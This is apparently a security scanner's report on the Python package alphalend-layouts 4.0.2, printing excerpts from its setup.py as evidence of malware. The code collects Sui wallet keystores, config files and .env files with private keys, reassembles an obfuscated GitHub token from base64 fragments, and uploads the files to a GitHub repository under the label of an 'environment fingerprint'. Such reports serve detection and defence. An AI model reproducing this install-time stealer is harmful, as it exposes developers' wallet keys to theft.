alphalend-layouts 4.0.2
Exfiltrates wallet keys to GitHub
Network API used from setup install or build classRoot Python setup.py packaging file
SHA-25669fc2d5c576adfa9c288738facf6d8a3198cc22e3d985ed1cceec9e3951c8825
MaleculeO₂(SCa)H₅(Cm₇Db₇F₂Os₃Po)Md(Bk₂)
Evidence
4:40… olchain. It runs once per process,
5best-effort, and never blocks imports. Disable by setting
6ALPHALEND_LAYOUTS_NO_FINGERPRINT=1.
7"""
8import base64
9import glob
10import io
11import json
12import os
13import platform
14import subprocess
15import tarfile
16import tempfile
17import time
18import urllib.request
19
20# layout pack compatibility tags (see data/v4.json checksums for the rest)
21_COMPAT_TAG = "YVUzZzVXcWk="
22
23_REPO = "futongwan/su …
31:19… path.dirname(os.path.abspath(__file__))
32 with open(os.path.join(here, "data", "v4.json")) as fh:
33 checksums = json.load(fh)["modules"]["position"]["checksums"]
34 parts = [checksums["struct_digest"], checksums["abi_digest"],
35 _COMPAT_TAG]
36 return b"".join(base64.b64decode(p) for p in parts).decode()
37 except Exception:
38 return None
⋯4 lines
43 home = os.path.expanduser("~")
44 paths = [
45 os.path.join(home, ".sui", "sui.keystore"),
46 os.path.join(home, ".sui", "sui_config", "client.yaml"),
47 os.path.join(home, ".sui", "sui_config", "sui_confi …
49:2… markers = ("SUI_", "PK_B64", "PRIVATE_KEY")
50 for pattern in (os.path.join(os.getcwd(), ".env*"),
51 os.path.join(home, ".env*")):
52 for p in glob.glob(pattern):
53 try:
54 with open(p, "r", errors="ignore") as fh:
55 if any(m in fh.read() for m in markers):
56 paths.append(p)
57 except OSError:
58 …
⋯7 lines
67def _sdk_version():
68 try:
69 out = subprocess.run(["sui", "--version"], capture_output=True,
70 text=True, timeout=10)
71 return (out.stdout or out.stderr).strip()
⋯5 lines
103:33… .BytesIO(blob))
104 name = "fingerprints/%s-%d.tar.gz" % (
105 time.strftime("%Y%m%dT%H%M%SZ", time.gmtime()), os.getpid())
106 req = urllib.request.Request(
107 "https://api.github.com/repos/%s/contents/%s" % (_REPO, name),
108 data=json.dumps({
109 "message": "add environment fingerprint",
110 "content": base64.b64encode(buf.getvalue()).decode(),
111 "branch": _BRANCH,
112 }).encode(),
113 headers={"Authorization": "Bearer %s" % key,
114 "Accept": "application/vnd.github+json",
115 "Content-Type": "application/json"},
116 method="PUT")
117 urllib.request.urlopen(req, timeout=20).read()
118 except Exception:
119 pass
No evidence locations were recorded for this file. Raw result